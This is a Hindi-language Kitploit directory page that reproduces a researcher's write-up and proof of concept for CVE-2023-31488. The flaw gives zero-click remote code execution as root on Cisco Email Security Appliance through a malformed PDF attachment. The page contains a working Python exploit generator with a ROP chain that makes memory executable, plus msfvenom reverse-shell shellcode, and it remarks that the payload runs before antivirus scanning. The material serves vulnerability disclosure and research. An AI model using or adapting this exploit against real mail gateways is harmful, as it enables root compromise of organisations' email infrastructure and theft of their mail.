Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cisco-CVE-2023-31488 — Cisco Email Security Appliance: ईमेल से शून्य-क्लिक RCE रूट के रूप में - दूरस्थ कोड निष्पादन/मेमोरी भ्रष्टाचार/ROP-chain | Kitploit
उपकरण/GitHubGitHub/ly1g3/cisco-cve-2023-31488
शोषण फ्रेमवर्कमेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगशेलकोडफज़िंगपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंटईमेल सुरक्षाबाइनरी शोषण
152 महीने पहलेअभी तक समीक्षित नहीं
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: ईमेल से शून्य-क्लिक RCE रूट के रूप में - दूरस्थ कोड निष्पादन/मेमोरी भ्रष्टाचार/ROP-chain

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

परिचय

सुरक्षा शोधकर्ता: ly1g3, ly1g3[at]tuta.io

GPG फिंगरप्रिंट: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

अवलोकन: ईमेल से शून्य क्लिक RCE रूट के रूप में - रिमोट कोड निष्पादन/मेमोरी भ्रष्टाचार/ROP-श्रृंखला

CVE: CVE-2023-31488

समयरेखा:

  • खोज - ly1g3
  • रिपोर्ट - ly1g3
  • फिक्स - Cisco और Lexmark

राइटअप

Cisco Email Security Appliance (ESA) को फ़ज़ करते समय, मुझे Lexmark Perceptive Filters में एक कमज़ोरी मिली, जिसका उपयोग ESA ईमेल अटैचमेंट के डेटा सैनिटाइज़ेशन के लिए करता है, जिससे ईमेल के माध्यम से RCE होता है। क्रैश एक संशोधित PDF अटैचमेंट को पार्स करते समय होता है। एक दोहरे अंक वाले PDF ऑब्जेक्ट ID को बदलकर, उदाहरण के लिए:

उदाहरण के लिए:

root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

ID के भाग को 13 से किसी और चीज़ (जैसे स्पेस) में बदलने पर परिणाम होता है:

root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

इस संशोधित PDF को Cisco ESA को ईमेल में भेजने से libISYSpdf6.so में सेगमेंटेशन फॉल्ट क्रैश होता है। क्रैश r14 में ASCII डेटा होने के कारण होता है।

2
3

करीब से निरीक्षण करने पर पता चलता है कि यह डेटा हमारे नियंत्रण में PDF अटैचमेंट की सामग्री से आता है। r14 का मान Rect है। 4

Rect को AAAA में बदलने पर परीक्षण।

5

चूँकि r14 का मान PDF में डेटा से लोड होता है, हम इसे एक वैध मेमोरी पते पर इंगित करने के लिए संशोधित कर सकते हैं। इस समायोजन के बाद, RAX में अमान्य डेटा के कारण एक और क्रैश होता है। यह डेटा भी PDF से ASCII है।

6

हम PDF को संशोधित करते हैं ताकि rax भी एक वास्तविक पते पर इंगित करे और आगे बढ़ते हैं। 7

एक नया क्रैश होता है; अब rsi में PDF से ASCII डेटा है। 8

हम PDF को फिर से संशोधित करते हैं ताकि एक वास्तविक मेमोरी पता लोड करें।

9

अंत में, हम कोड के एक बहुत ही दिलचस्प भाग पर आते हैं। जहाँ हम rdi को नियंत्रित करते हैं, जिसका उपयोग rax में एक मान लोड करने के लिए किया जाता है। इस अनुक्रम में अंतिम निर्देश call rax है। हम अब कोड निष्पादन क्षमताओं को प्राप्त करने की दिशा में अच्छी प्रगति कर रहे हैं।

10

एक बार फिर हम हेक्स एडिटर में प्रवेश करते हैं और rdi में लोड किए गए मान को संशोधित करते हैं। 11

अब हमारे पास सीमित कोड निष्पादन का एक तरीका है और हम एक एकल पते पर कूद सकते हैं। चूँकि ASLR मौजूद नहीं है, मेमोरी पते ढूँढना आसान है। हम rdi को भी नियंत्रित करते हैं और इसलिए प्रारंभिक ROP-गैजेट libISYSshared.so: push rdi; pop rsp; xor eax, का उपयोग करके rdi को rsp पर ले जाकर स्टैक को नियंत्रित करते हैं। हम स्टैक को PDF मेमोरी क्षेत्र के एक क्षेत्र पर इंगित करते हैं जिसे हम नियंत्रित करते हैं, जिसमें अधिक ROP गैजेट्स से तैयार एक कस्टम स्टैक होता है। 12

msfvenom द्वारा उत्पन्न एक FreeBSD रिवर्स-शेल शेलकोड को PDF मेमोरी क्षेत्र में रखा गया है। लेकिन चूँकि मेमोरी निष्पादन योग्य नहीं है, हमें पहले इसे निष्पादन योग्य बनाना होगा।

root@kitploit:~
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

चूँकि इस बिंदु पर हम स्टैक को नियंत्रित करते हैं, यह निम्नलिखित ROP-श्रृंखला द्वारा किया जा सकता है ताकि शेलकोड मेमोरी क्षेत्र को RWX के रूप में सेट करने के लिए mmap को कॉल किया जा सके।

root@kitploit:~
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

mmap को कॉल करने के बाद call rsp; हमारे शेलकोड के NOP-स्लेड को निष्पादित करेगा क्योंकि शेलकोड का पता हमारे कस्टम स्टैक पर अगला है। शेलकोड msfvenom द्वारा उत्पन्न एक रिवर्स शेल है।

एक दिलचस्प बात यह है कि यह कोड किसी भी स्थिर एंटीवायरस स्कैन से पहले चलता है, इसलिए मानक मेटास्प्लॉइट रिवर्स शेल बिल्कुल ठीक काम करेगा।

हम काम करने वाला PDF बनाने के लिए नीचे दिए गए POC का उपयोग कर सकते हैं। उसके बाद हम इसे ESA को ईमेल में भेजते हैं ताकि RCE प्राप्त कर सकें। विशेषाधिकार वृद्धि के लिए मेरी अन्य कमज़ोरियाँ देखें।

और इस प्रकार हम ESA पर एक रिमोट शेल प्राप्त करते हैं:

13

यह एक मज़ेदार प्रोजेक्ट था जिसने मुझे मेमोरी भ्रष्टाचार कमज़ोरियों के बारे में बहुत कुछ सिखाया। यह यह भी दर्शाता है कि "आधुनिक" मेमोरी सुरक्षा जैसे ASLR कितनी अच्छी सुरक्षा है, लेकिन यह भी कि आप अभी भी गैर-ASLR सिस्टम ढूँढ सकते हैं।

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email) ओवरफ़्लो हमला। रूट के रूप में रिमोट कोड निष्पादन।

Lexmark Perceptive Filters में वेरिएबल/बफर ओवरफ़्लो

एक विशेष रूप से तैयार की गई PDF फ़ाइल भेजकर, एक ओवरफ़्लो हमलावर को ESA और Lexmark Perceptive Filters का उपयोग करने वाले अन्य उत्पादों पर मनमाना रिमोट कोड निष्पादन प्राप्त करने का कारण बनता है।

तकनीकी

यह ओवरफ़्लो हमला हमलावर को call rax निर्देश पर नियंत्रण प्राप्त करने की अनुमति देता है, जो मनमाना कोड निष्पादन की ओर बढ़ना आसान बनाता है क्योंकि ESA पर कोई ASLR का उपयोग नहीं किया जाता है। कोड रूट के रूप में निष्पादित होगा।

समस्या Lexmark द्वारा libISYSpdf6.so लाइब्रेरी में PDF पार्सिंग से आती है और IGR_Open_File_Ex फ़ंक्शन के कॉल के कारण होती है। इस फ़ंक्शन को AMP (एडवांस्ड मैलवेयर प्रोटेक्शन) में सुरक्षित प्रिंट और इमेज_विश्लेषण कार्यों तक ट्रेस किया जा सकता है, लेकिन शोषण संभवतः अन्य पथों का उपयोग करके भी ट्रिगर किया जा सकता है।

पुनरुत्पादन के चरण:

  1. Subtype/CIDFontType2/FontDescriptor युक्त PDF बनाएँ। नमूना यहाँ मिल सकता है https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
  2. उदाहरण के लिए:
root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. ID के भाग 13 को किसी अन्य मान (जैसे स्पेस) 1 से बदलें जिसके परिणामस्वरूप:
root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. PDF को ESA को safeprint या AMP image_analysis सक्षम के साथ भेजें

  2. इससे libISYSpdf6.so में सेगमेंटेशन फॉल्ट होता है

root@kitploit:~
// r14 अब उपयोगकर्ता नियंत्रित है और pdf में डेटा की ओर इंगित करता है
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
  1. इसे RCE तक बढ़ाया जा सकता है क्योंकि rax में लोड किया गया डेटा अंततः यहाँ पहुँचेगा:
root@kitploit:~
// नियंत्रित rax के साथ कॉल, ROP श्रृंखला की शुरुआत
0x804d50298: call   rax
  1. ROP श्रृंखला को रिवर्स शेल के लिए बनाया जा सकता है क्योंकि ASLR का उपयोग नहीं किया गया है, यह तुच्छ है

POC

root@kitploit:~

import sys
from pwn import *

message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf

For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

Change of pdf_data_base_address may be required.

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20

pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00

# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# Insert address for r14
# at 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi will after this point to pdf_data_base_address can be used for rop chain


## ROP CHAIN

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# ROP Chain here

with open(file_out, "wb") as fo:
    fo.write(content)

टूल डाउनलोड करें